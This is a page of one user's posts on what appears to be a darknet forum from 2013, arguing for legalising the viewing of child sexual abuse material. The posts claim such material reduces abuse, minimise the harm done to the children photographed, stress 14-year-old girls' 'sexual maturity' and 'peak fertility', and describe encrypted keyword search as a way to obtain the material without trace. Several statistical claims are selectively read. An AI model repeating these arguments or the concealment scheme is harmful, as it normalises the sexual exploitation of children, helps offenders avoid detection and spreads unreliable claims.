Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - kmfkewm

Pages: 1 ... 31 32 [33] 34 35 ... 249
481
Off topic / Re: FUCK LE....BUT FUCK PEDOS TOO!
« on: August 11, 2013, 07:47 pm »
Your just tormented people that i think honestly didn't have a choice. I truly believe that if they had a choice they would choose different paths/ sexual orientation but obviously they just can't it's bound to them.
Instead of looking at them like devils consider them as people who actually need help and support and just have no where to go (Unlike homosexuals/Lesbians n others). I am 100% against child abuse or any abuse between people and nature , But there is gotta be another way to solve this endless conflict with rational thinking.
Well Said. A little understanding goes a long way. I must say I am uncomfortable with and tired of the posts that pedos create it is attracting heat and who wants to be grouped with them? No one. So I understand where youre coming from but hailsatan is right.

Why do you say pedos keep creating posts? All of the posts I see starting these debates are always people saying death to the pedophiles death to the child porn viewers blah blah blah and generally foaming at the mouth like rabid dogs. The only recent exception to this is the thread I made in this sub forum, which was made because people were having their hysteria manifest itself inappropriately in the security and silk road discussion subforum, and I wanted to attempt to keep those threads clean.

Seriously

People foaming at mouth - DEATH TO THE PEDOPHILES CASTRATION AND DEATH AND MURDER AND CP VIEWING IS THE EVIL VILE SCUM OF THE DEVIL BLAHADJHIDFHSIFFS

rational people - Well, not exactly

Everybody else - I WISH YOU GOD DAMN PEDOPHILES WOULD STOP POSTING YOUR TRASH HERE

482
Off topic / Re: FUCK LE....BUT FUCK PEDOS TOO!
« on: August 11, 2013, 07:43 pm »
dont even feed the bait men. they want to talk about here but if no one else did they wouldnt. so just look past what they say, it may sound bad but they have a different state of mind then other people who are normal if you understand which i hope you do. over the past week ive seen way to many posts about CP and its got out of hand. this isnt what it is about, im sure you could find 1000 other sites on onion about that shit without even having to search for 5 minutes, so why talk about it here when people are going to diss you. go to some actual pedo file where people will agree with you and get it the fuck out of here. straight up.

Over the past week there have been debates about CP surfacing all over the darknets and related places. Not just here, in several security oriented IRC channels I am in as well. The FH bust has been a really big trigger for this obviously. I am sorry to say that SR has been the only place I have seen people advocating for castration and murder, it really is the least rational place I have seen discussions of this spring up so far.

483

Quote
More fud from kmfkewm:
Quote
When you made the viewing of CP illegal, you sharply increased the rate of actual child sex abuse.

Not FUD the study I linked to showed this in several countries.

Quote
Rebuttal - A study that contradicts the Czech study, and the above quote:

I can find government studies that smoking weed makes your dick fall off. We pretty much need to read anything from groups that exist to attack pedophiles and bust people for looking at CP with a grain of salt, it is like asking the DEA for the facts about drugs. But anyway I don't know if this is a government study or not.

Quote
Frequency of pornography use was primarily a further risk factor for higher-risk offenders, when compared with lower-risk offenders, and use of highly deviant pornography correlated with increased recidivism risk for all groups.  The majority of men who have been charged with or convicted of child pornography offenses show pedophilic profiles on phallometric testing.  A study with a sample of 201 adult male child pornography offenders using police databases examined charges or convictions after the index child pornography offense(s). 56% of the sample had a prior criminal record, 24% had prior contact sexual offenses, and 15% had prior child pornography offenses.

24% is a high number and probably bullshit, but at least their inflated numbers have come down from 80%. I think the most objective study done so far shows 16%, and there is even evidence that this number is inflated. You need to keep in mind that these are tricky fucks and they do tricky shit to come to their numbers. For example, do we know if child pornography was the initial reason for arrest for these men? In one study men were arrested soliciting an underage prostitute, and the ones who had child pornography as well were analyzed, and the result was that 40% of people arrested with child pornography have had prior sexual contact with minors, completely failing to control for the fact that this group of people was arrested originally for attempting to solicit an underage prostitute.


Quote
One-third were concurrently charged with other crimes at the time they were charged for child pornography offenses. 17% of the sample offended again in some way during this time, and 4% committed a new contact sexual offense. Child pornography offenders with prior criminal records were significantly more likely to offend again in any way during the follow-up period. Child pornography offenders who had committed a prior or concurrent contact sexual offense were the most likely to offend again, either generally or sexually."

I wonder if the original reason the one third were arrested was because of child pornography or for the other offense. I cannot at face value of this study rip a hole in it, but I know similar studies have been done in the past and they fail to hold up to scrutiny.

Quote
Really absent-minded FUD by kwmkewm:
Quote
Go read the fucking tanner scale you retard. It has nothing to do with psychology, sexual maturity is a biological state of being. Sexual development stops, on average, when a female is 14.5 years old. God I have researched everything I talk about you are not going to find something that I am wrong on, you on the other hand are just talking out of your ass and acting superior when in reality you are just saying a bunch of bullshit you know nothing about.

Already went over this.

Quote
Rebuttal - Quote from Psychology today:
   
"With pharmaceutical companies in hot pursuit of a pill that could do for women's sexual fulfillment what Viagra has done for men's, experts are busy investigating what's responsible for female passion.
   
Researchers are finding that the sex experts Masters and Johnson were wrong when they claimed that female and male desire were alike. New studies suggest that women need to be aroused physically or psychologically to get in the mood for sex. Unlike men, who can get aroused by the sight of a buxom babe in a beer commercial, women rely on different--and subtler--cues."

What the fuck does this have to do with anything? Seriously dude you have the most horrible habit of posting random as fuck shit that has next to nothing to do with anything, and then claiming that you have somehow proven that I am wrong. It makes it super frustrating trying to debate with you, because it is like you post some random ass shit and then act like I am such an idiot because of it.

Quote
Rebuttal 2 - Child Psychology and Sex:

                                                       Early Sex.
Research has long established that teens who watch movies or listen to music that glamorizes drinking, drug use or violence tend to engage in those behaviors themselves. A 2012 study shows that movies influence teens’ sexual attitudes and behaviors as well. The study, published in Psychological Science, found that the more teens were exposed to sexual content in movies, the earlier they started having sex and the likelier they were to have casual, unprotected sex.

    In another study, boys who were exposed to sexually explicit media were three times more likely to engage in oral sex and intercourse two years after exposure than non-exposed boys. Young girls exposed to sexual content in the media were twice as likely to engage in oral sex and one and a half times more likely to have intercourse. Research also shows that teens who listened to music with degrading sexual references were more likely to have sex than those who had less exposure.

    Why are teens more likely to have sex after being exposed to sexual content in the media? Just as we read specific books and show educational movies to our children in hopes that they learn lessons from the characters, the media provides a type of sex education to young people. Media messages normalize early sexual experimentation and portray sex as casual, unprotected and consequence-free, encouraging sexual activity long before children are emotionally, socially or intellectually ready.

                                                        High-Risk Sex.
The earlier a child is exposed to sexual content and begins having sex, the likelier they are to engage in high-risk sex. Research shows that children who have sex by age 13 are more likely to have multiple sexual partners, engage in frequent intercourse, have unprotected sex and use drugs or alcohol before sex. In a study by researcher Dr. Jennings Bryant, more than 66 percent of boys and 40 percent of girls reported wanting to try some of the sexual behaviors they saw in the media (and by high school, many had done so), which increases the risk of sexually transmitted diseases and unwanted pregnancies.

                                          Sex, Love and Relationship Addictions.
Not every child who is exposed to sexual content will struggle with a mental health disorder, but research shows that early exposure to pornography is a risk factor for sex addictions and other intimacy disorders. In one study of 932 sex addicts, 90 percent of men and 77 percent of women reported that pornography was a factor in their addiction. With the widespread availability of explicit material on the Internet, these problems are becoming more prevalent and are surfacing at younger ages.

                                                       Sexual Violence.
According to some studies, early exposure (by age 14) to pornography and other explicit material may increase the risk of a child becoming a victim of sexual violence or acting out sexually against another child. For some people, habitual use of pornography may prompt a desire for more violent or deviant material, including depictions of rape, torture or humiliation. If people seek to act out what they see, they may be more likely to commit sexual assault, rape or child molestation.

And something else that I have no fucking clue why you posted. Did you think people just are not going to read the text you quote, so if you quote text that has keywords related to the discussion and say they prove me wrong, that people will just automatically agree with you because they already are set in their barbaric backwards bigoted thinking?

Quote
Incorrect information given by kmfkewm:
Quote
Then why has child sexual abuse fallen in every single country that legalized viewing CP?

Rebuttal - quoted from Popular Science, proving child-related sexual offenses are on the decline in the United States, where creating, owning, or viewing CP is currently illegal:

"According to the nation's top experts, children are actually safer from physical and sexual abuse than they have been for decades. A National Incidence Study of Child Abuse and Neglect issued by the Department of Health and Human Services found that both physical and sexual abuse of children have dropped significantly over the past 20 years: From 2005 to 2006, an estimated 553,000 children suffered physical, sexual or emotional abuse, down 26 percent from the estimated 743,200 abuse victims in 1993. And between 1993 and 2005, the number of sexually abused children dropped 38 percent, while number of children who experienced physical abuse fell by 15 percent and those who were emotionally abused declined by 27 percent."

Huh child abuse rates keep falling , and it correlates with cases of child pornography viewing rising exponentially, I wonder if it could be related?


Quote
And then my moment of Zen:

Just posted by kwmkewm:
Quote
as for the fertility claim, I am having trouble to find *any* studies that show fertility information for those below the age of 20.

Rebuttal - The second part of the above quote from kmfkewm himself:

Quote
I believe in the past I have read that peak fertility is from the start of reaching full sexual maturity (14.5 about) to sometime in the 20's.


*yawn*  I've ended you.
         

If that is your moment of zen it really isn't that impressive. In the past I believe I have read that peak fertility starts a few years after puberty in females and then begins to decline in their mid twenties, however currently all of the studies I can find do not go further back than 22 years old.

Not sure how you ended me.

484
Quote
Incorrect information given by kmfkewm:
Quote
        I said that full sexual maturity, a developmental stage in biological development, is reached on average, at age 14.5 in females. I also said that peak fertility is reached at about the same age, and then starts to decline sometime in the 20s.

http://www.patient.co.uk/doctor/Puberty-Normal-and-Abnormal.htm

females: adult pubic hair average age 14.6, adult breasts average age 14.5, so my bad it is 14.6 when they reach full adult sexual maturity. As for peak fertility, I cannot easily find studies that start below the age of 22, however the claim that females reach their peak fertility between the ages of 23 and 31 is clearly false re: http://www.boston.com/lifestyle/health/blog/inpractice/age.jpeg which shows a sharp decline starting at age 24. What the study you quoted meant by "females reach their peak fertility between 23 and 31" is that females fertility rapidly declines starting at age 23 to 31, which is made clear by the graphs. I cannot find a citation for when females *begin* their peak fertility, but it is clearly not after the age of 22, and none of the studies I can find show information on teenagers right now. In the past I read that teenagers reach their highest degree of fertility a few years after the onset of puberty, I believe at about age 14.5, which is also when they on average reach their adult sexual level of physical development. So no, I am not wrong, you are wrong.

Quote
Rebuttal 1 - fertility; quote direct from a WebMD article aptly entitled Fertility-101:
   
             "Most women hit their fertile peak between the ages of 23 and 31, though the rate at which women conceive begins to dip slightly in their late 20s. Around age 31, fertility starts to drop more quickly — by about 3 percent per year — until you hit 35 or so."

http://www.boston.com/lifestyle/health/blog/inpractice/2011/11/pregnancy_now_or_later_1.html

see the problem is that all of these studies start at around age 22, but regardless you are clearly misinterpreting their strange use of the word "hit their peak", which actually means that they begin their decline. You can clearly see this on the graphs that I linked to, where after age 23 a sharp decline in fertility takes place, with fertility between age 22 through the end of 23 being stable. The resolution of these studies is not high enough to compare the fertility of a 14.5 year old to a 22 year old, although I am pretty certain they will be the same (and less prior to 14.5, which is why I would say a female hits her peak fertility at the age of 14.5, not hits her peak at the age 23, when it is obvious from looking at the graphs that the decline in fertility actually starts toward the end of 23 start of 24).

Quote
Rebuttal 2 - sexuality; quoted from a Cornell University(more accredited than the U of Hawaii) Study:
   
    "In men, testosterone levels reach their apex around age 18, while women’s estrogen (and fertility) hits a high-water mark during the mid- to late-20s. This hot-and-heavy stage of sexual maturity is known as the genital prime, because it’s when the body responds most quickly to arousal."

This is in contrast to the chart I linked to (and I can find many other charts that look the same), where is shows a 22 year old is significantly more fertile than a female in her mid to late 20s. Here are more charts showing the same thing:

http://assets.babycenter.com/i/infertilitygraph.gif
http://qfg.com.au/about-fertility/female-reproductive-system/effect-of-age-womens-fertility

Another point that has become apparent to me is that fertility unfortunately means two things, it means the probability of a female becoming pregnant and also the rate at which females become pregnant. A 30 year old is much less likely to become pregnant than a 22 year old, but when the term fertility is used in analysis of pregnancy rates, it is apparent that far more 30 year olds become pregnant than 22 year olds:

http://www.ined.fr/en/everything_about_population/graph_month/age_fecondity/

This introduces ambiguity to the term of fertility, as I am trying to find the age when a female is most likely to be most capable of becoming pregnant regardless of her desire to attempt to do so, not when a female is most likely to try to become pregnant regardless of her ability to do so. It is possible that the studies you have quoted with particularly outlandish numbers (late twenties to early thirties) for the first definition of fertility are actually discussing the second definition of fertility, and that would make sense as well.

Quote
    "According to Dr. Marc Goldstein of Cornell University, hormones don't decide when you hit your sexual apex. People aren't soda bottles that just reach a point of maximum pressure and then pop. Your "sexual peak" has more to do with your attitude toward sex and level of experience, which is one reason millions of awkward young men spend their entire sexual prime on a computer(this means you KMF)."

That is not a technical definition of sexual peak and is thus irrelevant as far as I am concerned.


Quote
Rebuttal 1 - Explaining the lack of a casual link as suggested by the above study:

"The inference to be drawn from this research is that legalizing and further increasing child pornography’s availability would decrease the incidence of child abuse.  The problem with these studies, and from which this one does not seem to be immune, is that there is no control for alternate or outside variables.  This research shows a correlation between availability of child porn – despite its illegality in most nations – and the decrease in child abuse, but ignores other explanations and ultimately cannot establish a causal relationship.

But the studies linking child porn to 1000% of child sex abuse on the other hand have controlled for all variables? The studies showing a fall in child abuse when child pornography viewing is legalized have taken place in several different countries in several different time frames, that will help control for many variables.

Quote
There is also the existence of virtual child pornography.  In 2002, the Free Speech Coalition won a decisive victory for expression over the DOJ in Free Speech Coalition v. Ashcroft, 535 U.S. 234 (2002).  In that case, the Supreme Court held that 18 U.S.C. §§ 2256(8)(B) and (D) were unconstitutionally overbroad, as their prohibitions on virtual child pornography and production or distribution of material pandered as child pornography – even if it is not – captured speech that was not unprotected within the scope of its earlier decisions in Miller v. California, 413 U.S. 15 (1973) (defining the test for obscenity) or New York v. Ferber, 458 U.S. 747 (1982) (allowing states to ban child pornography sales, as it was not protected speech).  While undoubtedly a small market – and one I have no interest in personally investigating – this allowance for computer-generated images and other “virtual” child pornography displaces the demand for actual child pornography, yet may contribute to the overall decline in child abuse crimes.

There was essentially no virtual child porn when the Czech study in particular was carried out.

Quote
Other possible reasons for the decreased incidence of child abuse despite increased child pornography availability may be more related to features of criminal law rather than the adult marketplace or First Amendment doctrines.  First, state and federal laws may have become stricter against child offenses, inhibiting child abuse despite the availability of child pornography. 

The US was not one of the countries studied as child porn is not legal to view there. I guess a good study in the US would be to look at child sex abuse rates before CP was made illegal, compare the child sex abuse rates after CP was made illegal and then compare that to child sex abuse rates when internet child pornography became extremely popular despite its illegality. My guess is we will find a spike in child abuse cases after child pornography was made illegal to view and a drop in child abuse cases correlating with the rise of the internets popularity and the amount of child pornography made available through the internet.

Quote
20 years ago, implementing a ubiquitous data repository for every sex offender to be mapped out like many states have done under their respective Megan’s Law provisions, as the internet was not available.  But today, those databases are active and seemingly everywhere, ruining lives while providing dubious benefits to public safety.  Depending on the relevant state’s laws, viewing child pornography may carry a lesser prison sentence than actually touching a child, and be the economically efficient choice on that basis.  Because fulfilling one’s desire is going to result in penalties and sex offender registration either way, a rational pedophile is going to choose the path that costs him the least amount of his life behind bars.  Furthermore, downloading child porn is more likely to put him into a federal prison upon conviction or reaching a plea deal – a depressing place, but far preferable to many state prisons. 

This seems like an argument for me to post so I have no comment. 

Quote
Ignoring these covariants and assuming the relationship between child porn availability and child abuse is causative, everyone from social scientists and policy-makers to parents is left with significant moral questions: Is it preferable to end child pornography so that the actors are not abused if it comes at the expense of the broader child population?  Or is it preferable that the actors suffer so fewer random children are victimized?  Ultimately this is a moral and ethical question that could be resolved with further research, but cannot be conclusively “answered” with any empirical truth.  Ultimately, society does not tolerate child abuse.  While the age of consent is an arbitrary line, the asymmetries of power and knowledge between adults and minors, wherever the line is drawn, makes preying on the young, the weak, the naive and inexperienced, so abhorrent."

"Is it better that we cause more children to become molested, or better if we prevent more children from becoming molested while allowing pedophiles to look at images of children who were already molested in the past, and are never going to get less molested in the future".

485
Quote
It's not worth debating with someone who is certain of the answers before ever hearing the questions.  Praetorian, your posts did stretch a little from time to time, but your logic was not hard to follow. But I suppose that some people have a hard time accepting that while they may feel that they are the cutting edge, they're really the chopping block.  I don't see how anyone could have expected positive results from starting a topic such as this one:

His posts did not stretch a little at times, at times he posted quotes of things that were all but completely unrelated to the topic at hand, and then he acted as if they proved that he is right and I am wrong. The positive result I expected from starting this topic was to stop people from taking all the damn security threads off topic ranting about CP in them.

Quote
Well, by posting here it's actually you that has started this debate(and plan for it to go on forever), but let's not get off on another point...

I posted this here because people in the security and silk road discussion forums were going off about how horrible CP viewers are, and when I politely disagreed with them they lost their cools and started ranting excessively and bringing many threads off topic trying to argue with me.

Quote
However, you also left your intentions open for interpretation in your OP -stating no actual 'stance' on what YOU particulary believe in; other than the generalization that I mentioned above. This screams 'troll' as it unfairly baits people into an argument on the notion that you're some pedophile who is excited that Child Porn 'may' become legal to view in your country. Regardless of when you hope it will happen by applying an arbitrary number of "a few hundred" years to further attempt to validating yourself with no apparent point in your initial post. In reality, this figure of 'a few hundred years' means absolutely nothing to any immediate generation of people and would literally have zero effect on the lives of anyone alive and breathing today, yourself included.

So, I cannot make predictions about the future because I will be dead by then, but my predictions about what will happen in hundreds of years when I am dead means that I am a pedophile who is excited about what will happen when I am dead, in a few hundred years, an era in time that I cannot make predictions about?

Quote
You make a valid point about censorship, but this was not the way to indulge the community. This makes you look like the Troll who ripped off the Leprechaun's niche -putting a pot of gold on the other side of the bridge to ensure people will cross it; just to tell them they can't.

Censorship of any information is wrong, and child pornography is information. People who are for criminalization of child porn viewing are indeed in favor of information censorship.

Quote
There are definitely studies that show the correlation between the accessibility(not legality) of CP, and a decline in sex-related offenses against children. However, this does not explain why *reported* child abuse rates have been on the decline on a global level, certainly not in area where Kiddy pr0n is still very much illegal. The main reason the viewing of child pornography is not legal is that to view something for pleasure is to condone the activities within in the imagery. Meaning, you're condoning children being molested -willfully or not.

Yes I know there are such studies I linked to references to several. I agree that it does not explain why reported child abuse rates have been on a decline on a global level , I was merely destroying the argument of the person I was arguing with. His claim was that viewing child pornography leads to child molestation, I claimed that studies show that in all countries where child porn viewing was legalized there was a sharp drop in the cases of child molestation, his response was that this is because the number of child molestation cases has been falling globally, to which I pointed out that the cases of child porn viewing have been increasing exponentially on a global scale (regardless of the legality).

Condoning illegal activity is not a crime anyway, there are plenty of neo-nazis who condone the holocaust and that is their fucking freedom of speech right to do, or do you want to censor them as well? Exactly how many people do you guys want to censor, anybody who thinks anything that you disagree with?

condone:

to disregard or overlook (something illegal, objectionable, or the like).
to give tacit approval to: By his silence, he seemed to condone their behavior.
to pardon or forgive (an offense); excuse.

Quote
But please, do not make an ass out of yourself by starting this topic with an entirely objective viewpoint to widely-known child psychology... I believe that is the most under-considered point of everything I saw you trying to argue here. If you're honestly going to try to debunk modern psychology as 'pseudoscience', I think everyone here's going to start calling you Tom Cruise(as in bat shit crazy scientologist Tom Cruise).

I have no idea what you are talking about. I gave citations already that sexual development in females is reached at about age 14.5


http://www.mayomedicallaboratories.com/test-catalog/Clinical+and+Interpretive/91198

shows physical complete sexual development takes place between ages 11.8-18.6 in females and 12.8-17.3 in males.

www.patient.co.uk/doctor/Puberty-Normal-and-Abnormal.htm

shows average age in females is 14.6

as for peak fertility, I stopped looking for a study on that after the thread got locked, but when I did search for it I found ONLY studies that examined the fertility of females ages 22+ , so no shit when your set of samples starts at the age 22 that the peak fertility of the people in that study will be at age 22. I cannot currently find a study that compares the fertility of teenagers with the fertility of people in their twenties, but I do recall reading in the past that peak fertility is reached a few years after the onset of puberty, I believe around 14.5 years in females (the same time they reach peak sexual maturity), and it levels off until it starts to decline in the twenties. Indeed I already can find a study showing that fertility is the same at age 22 and 23, and starts to decline after 23 years old, but I cannot currently find a study with a high enough resolution that I can show the fertility of those who are 14 years old. This entire part of the debate was in response to my claim that peak sexual development and peak fertility is reached at about 14 years old in females, which was called bullshit, but I just gave two citations for peak sexual maturity and I showed the flaw with his study about peak fertility proving me wrong (since it only included people 22 or older and did not include teenagers). I can find a dozen studies saying that peak fertility is in the early twenties, but none of these damn studies even observe people below the age of twenty so they really mean "in our subset of studied patients, all over the age of twenty, the youngest twenty year olds are the most fertile". My interpretation of citations to quotes such as

Quote
Most women hit their fertile peak between the ages of 23 and 31

is not that 23-31 year olds are the most fertile, but rather that after age 23-31 females become LESS fertile. I think that we will find a 14 year old is infinitely more fertile than a 5 year old, just as fertile as a 20 or 21 year old, and MORE fertile than a 23-31 year old.

here is a graph starting at 22:

http://www.boston.com/lifestyle/health/blog/inpractice/age.jpeg

notice that 22 and 23 are the same, and then a sharp decline in fertility starts taking place up to about age 48 where it is almost not existent. The 23+ year olds are not more fertile, after the age of 23 they continue to become less fertile, so the peak quote means that females start becoming LESS fertile between the ages of 24 and 31, not that they are MOST fertile at those ages, and as you see between 22 and up to the end of 23 they are just as fertile. My argument is that they reach the same level of fertility at the age of about 14.5 as they are at 22, but none of the studies I can find show such high resolution.


As per your quotes, yes obviously sexually abused children suffer I don't think that was ever a matter of debate was it?

Quote
Personally, I believe if you had gone about this thread in a mature manner, more valid points would have been connected for both sides of what appears to be more of an argument than any rational, civil debate I've ever seen.

Oh please explain to me how I have been immature? Was it when I called the people I was debating with bipolar mixed state schizoids? Was it when I called them filthy pedophiles who deserve to be castrated and murdered? I would love to know where exactly I was immature! 

486
Well damn I typed out a long response to this but then I lost it. First of all I want to say that after this thread was locked I deleted it because I figured that there is no point to debate with people who think emotionally rather than logically. I knew that DPR didn't care about this thread, due to the fact that he commented in previous CP debate threads in the past. However, now that the thread is back, I think I will leave it anyway, simply because people keep going off topic in other threads and derailing them, and I don't want to see Astor's head explode :). I would also like to apologize for calling names a bit in this thread, usually I keep a much cooler head when debating this issue, but in this particular instance I got quite pissed off trying to argue with someone who in my perception was kind of just trolling me.

Quote
Hmmm....the whole 'but the abuse has already taken place, my viewing the pictures has no influence on it' is true, but very disingenuous. Its analogous to a vegatarian who believes that meat is murder but still eats meat because 'after all the animal is already dead, me eating the meat isn't killing any animals'

When a person pays for meat and then consumes it, they are supporting the meat industry. If nobody paid for meat and nobody ate it, then nobody would kill animals. There is a causative relationship here, people pay for and eat meat and this causes people to kill animals. This is why the vegetarian is using flawed logic, if their goal is to stop the killing of animals. The more meat that is paid for and consumed, the more animals will be killed to meet demand. On the other hand, viewing child porn, isolated from all other variables, does not have a clear causative relationship with the production of child porn, and for this reason the analogy does not hold.   

Quote
The PIR thought experiment is rather odd. So, people upload CP to the server but have no way of knowing how many people are watching it? (If any)Therefore the people watching it are freed of any guilt because their views are anonymised from the providers? But people are still uploading CP for people to watch, and people are still watching it.  The demand is still there, and the child abusers are still filling it.

If your argument is that viewing child porn creates demand and then this demand is filled by children being molested, the PIR argument makes perfect sense. Although I disagree with the demand/supply argument when it comes to child porn viewing / production, if I did believe it was real I would focus on ways to make it impossible for the demand to be known. Even if child porn consumption is illegal people are going to download and view it anyway, so if the danger of people downloading and viewing child porn is that it creates demand, I would think that a solution that hides the demand is better than a solution that criminalizes the people who create the demand.

There are several technical solutions that can perfectly mask the demand for child pornography, while still allowing people to view it. One of the solutions would be Encrypted Keyword Search / Private Stream Searching. In these sorts of systems, a server exists that holds various items and associated keywords. If a child molester creates child pornography and uploads it to such a server, it would first be encrypted and tagged with various keywords that describe it. At this point it would be uploaded to the server, which would be oblivious to its content. Somebody who is interested in viewing child pornography would be able to query the server with a list of keywords of interest, the server would then be able to search for items that match those keywords and return them to the searcher, without being aware of any of the keywords searched for or any of the documents returned. Many people would use the same Encrypted Keyword Search server for various other activities, similar to how Tor is used for various activities with child pornography being only one of them. If the child pornography viewer keeps their CP related activities confined to the Encrypted Keyword Search system, nobody will be able to determine there demand for child pornography. The server will know they searched for something, but it wont know what they searched for and it will not know what they obtained. Likewise, the person who produced and uploaded the pornography (illegally, I am not saying this person is not a vile criminal by any means), will be totally incapable of determining that somebody downloaded the item that they uploaded. Therefor, the demand is perfectly hidden from anybody, and it seems that therefor if demand for child pornography is the reason for its production, that such a system would allow people to view child pornography without creating identifiable demand and therefor without contributing to the supply of child molestation.

It is not the same thing as anonymity, it goes a step beyond it. Anonymity would mean that the server knows it hosts child pornography, and it knows somebody has downloaded child pornography, but it does not know who downloaded child pornography. This would mean that the demand for child pornography could still be identified, just not where the demand came from. With a private information retrieval based solution, the server would not know that *anybody* searched for or obtained child pornography. This means that not only is the user who downloaded the child pornography anonymous in doing so, but they create no trace of what they searched for or obtained in the first place. Clearly solutions similar to this can make the demand for child pornography unknown to anybody, while still allowing people to download and view child pornography. If the reason that downloading and viewing child pornography is bad is because it creates a demand for child pornography that is filled via the molestation of children, then it seems like this a great solution to that problem.

When you say demand I take it to mean "an identifiable request for child pornography". When somebody downloads child pornography from a P2P network, there is an identifiable request for child pornography in that the peer they download it from can tell that somebody downloaded child pornography from them. The same is true in the case of child pornography hosted on a server and accessed through the clearnet, and in the case of child pornography hosted on a server and accessed via Tor or I2P, and indeed even in the case of child pornography hosted distributed throughout Freenet. None of these solutions mask the demand for child pornography, they only mask who is demanding it. On the other hand, Encrypted Keyword Search solutions can mask the demand for child pornography and therefor also mask who is demanding it. If by demand you simply mean "A desire for child pornography", then I have to assume that you wish for the death of most pedophiles, as most pedophiles have a desire for child pornography even if they do not act on that desire. Do you really wish to kill even the pedophiles who do not act on their desire to look at child pornography, simply so you can reduce the amount of desire for child pornography in the world? That seems incredibly cruel and unfair to me, pedophiles do not get to decide if they are pedophiles or not any more than homosexuals get to decide if they are homosexuals or not. A great many pedophiles would do anything possible to stop having sexual desires for children and therefor child pornography, and several of them do not even act on their desire for child pornography (although I have to imagine that looking at child pornography is prevalent in the pedophile community, as I imagine most straight men attracted to legal age people would continue looking at pornography even if it was outlawed to do so, and I think we see proof of this in the countries that have outlawed all forms of pornography).

That said, I still find the idea that somebody will see a few hits on a servers log files and run out and molest some children because of it. To me that idea seems preposterous indeed, but to many people it seems obvious so whatever.

Quote
I'm just not buying the idea that most CP is produced by people who were abusing children anyhow, and just decided to film it because they could, and therefore your viewing it is a harmless act. Its like saying most adult porn is just people who were having sex, and decided to film it because they could.

Certainly in the past there have been instances of children who had naked photographs taken of them simply so somebody could sell the photographs and make a profit. There have been three big Eastern European studios, one of them paid about 1,500 girls ages about 8-17 to allow them to photograph them nude or semi-nude, for the production of softcore pornography. This studio took hundreds of photographs of each of the girls (all of which agreed to the shoots and had consent from parents as well, not that this justifies anything, I am just pointing out that they were not violently raped and then killed, as the person I was arguing with seems to think that nearly all CP involves brutal rape and snuff). The studio then sold them on the internet to make money. So indeed, if it was not for people buying child pornography on the internet, this studio would never have taken so many photographs of so many underage girls. In fact, earlier in this thread I said that these studios were responsible for the majority of child pornography, now I need to back track a little bit from that statement because I don't actually have statistics on the matter, but I still am sure that at least a large percentage of child pornography on the internet, by number of photographs, originated at these studios. So yes, in these cases, thousands of children were photographed naked who would not have been photographed naked had it not been for the financial demand for child pornography on the internet.

However, these studios operated with the intention of making a profit. People who paid for the photographs often put them on Usenet and similar, where they were then downloaded by people who did not pay for them. If it had not been for the people paying for the pornography, the production studios would not have continued to produce it. They did not give a flying fuck if people downloading it for free liked it or not, and in fact they were upset that there content was being pirated as it lost them sales. So in these cases we can see that the people paying for the child pornography were indeed fueling the demand that led to a supply of sexualized photographs of naked minors. We can therefor say that it should be illegal to pay for child pornography, and it goes without saying that it should be illegal to produce child pornography. On the other hand, the people who were downloading the child pornography for free to view it, had no effect at all on the production of the child pornography, and therefor it makes no sense to say that their demand for these images fueled the supply of them. There is simply no link between them viewing the child porn and the producers producing it, the only link in these cases was between the people paying for the child pornography and the people producing it.

There are other cases where children are molested because of child pornography as well, and I would actually argue that many of these children would not be molested if it were legal to view AND distribute child pornography. These cases arise from the private underground trading communities. To gain membership to some of these groups you are required to submit original content, this is because they use it as a security mechanism to prevent the police from joining the group. They know that no police are going to abuse children on camera in order to infiltrate them, so they make new recruits abuse children on camera in order to gain membership. The other sort of group that leads to child molestation, and indeed the most worrying groups in modern times, are the forums like Dreamboard. These groups require members to upload new content every period of time in order to maintain there membership. The content that they upload cannot be content that is already part of the group collection. This puts pressure on pedophiles to molest children to produce original content, after the group invariably gets to the point that their collection is so large that individual members no longer have any new child pornography that the group does not have. When this time arises, the member is forced to either molest a child to maintain membership in the group, or to lose their group membership. This puts pressure on pedophiles who want to continue having access to child pornography but may not really want to actually molest a child. The reason many of these groups do this is because they want to keep law enforcement out as well. If the viewing AND distributing of child pornography was not illegal, these groups would have no reason to require members to continuously upload child pornography as a security mechanism, as they would not be breaking the law in the first place, and therefor would not need to keep the police out of their groups. Additionally, by making it so they can relax their security, the police would have an easier time gaining membership in their groups and identifying newly produced child pornography from an earlier point in time.

These are the cases where I think children are molested because of child pornography. In almost all of the other cases, I think it is indeed essentially people who molest kids already and who decide to take pictures of it because they can. I would compare the studios in Eastern Europe to the adult commercial studios, the people in the private groups requiring uploads for membership I cannot think of what they are analogous to, and the other people are analogous to the people creating amateur homemade pornography and uploading it to the internet. Indeed, a huge amount of pornography on the internet consists of people who were having sex and filmed it because they could.

Quote
I like taking certain drugs. Now, when I'm smoking weed or heroin, I did not literally cause the weed or heroin to be grown or imported ; that happened in the past and so my current behaviour cannot be said to cause it. Times arrow, as you say. But I have to take a pretty narrow and blinkered view of the chain of cause and effect to deny that my current drug use has no effect on the production of these drugs. Western demand (of which I form a tiny part) drives the production of these drugs.

Certainly your drug use leads to the cultivation and production of these drugs. Beyond any doubt. Just as a person who eats meat leads to the slaughter of animals. People grow marijuana or poppies because they know they can turn them into financial reward for themselves, because they know you will pay money for the end product. There is an easy to determine causative relationship between you eating meat and animals being slaughtered, there is an easy to determine causative relationship between you smoking weed and marijuana being grown. There is no such easy to determine causative relationship between a person viewing child pornography, isolated from finances and group membership requirements, and a person molesting a child. The reason why a causative relationship is easy to establish in the cases of meat and marijuana is because something of value goes from you to the producer, and that something of value is the end goal of the producer. This is why it should obviously be illegal to pay for child pornography, and indeed there is a causative relationship between people paying for child pornography and the production of child pornography in the Eastern European studios. However, again, there is not a causative relationship between the people downloading the child pornography made is Eastern European studios off of P2P networks, and the production of child pornography by the Eastern European studios. Indeed, if nobody paid for the child pornography created by the Eastern European studios, and everybody downloaded it off of peer to peer networks, they wouldn't continue to make it. The causative link between people viewing those images, isolated from finances, and the production of those images, simply does not exist.

Quote
        You are getting confused with your rhetoric here. The correct analogies would be : if a major motivation for bank robbers was to make bank robbing porn, then banning bank robbing porn would be a good idea.
         If a major motivation for murder was the production of murder porn, then banning murder porn would be a good idea too.
          And the people who tried to claim "but the bank robbery/murder has already happened, in the past, what harm am I doing by watching it" would be being as disingenuous as you are.
          As it happens, very few murders and bank robberies are committed for this purpose and so we can watch video of them with relatively little guilt.

You say demand for child porn leads to child molestation, I am just pointing out that demand for banks leads to bank robberies.

487
You can always use PGP + Tor in addition to BitMessage to maximize security

My argument then would be that you might as well use Tor + GPG + a clearnet mail provider.

488
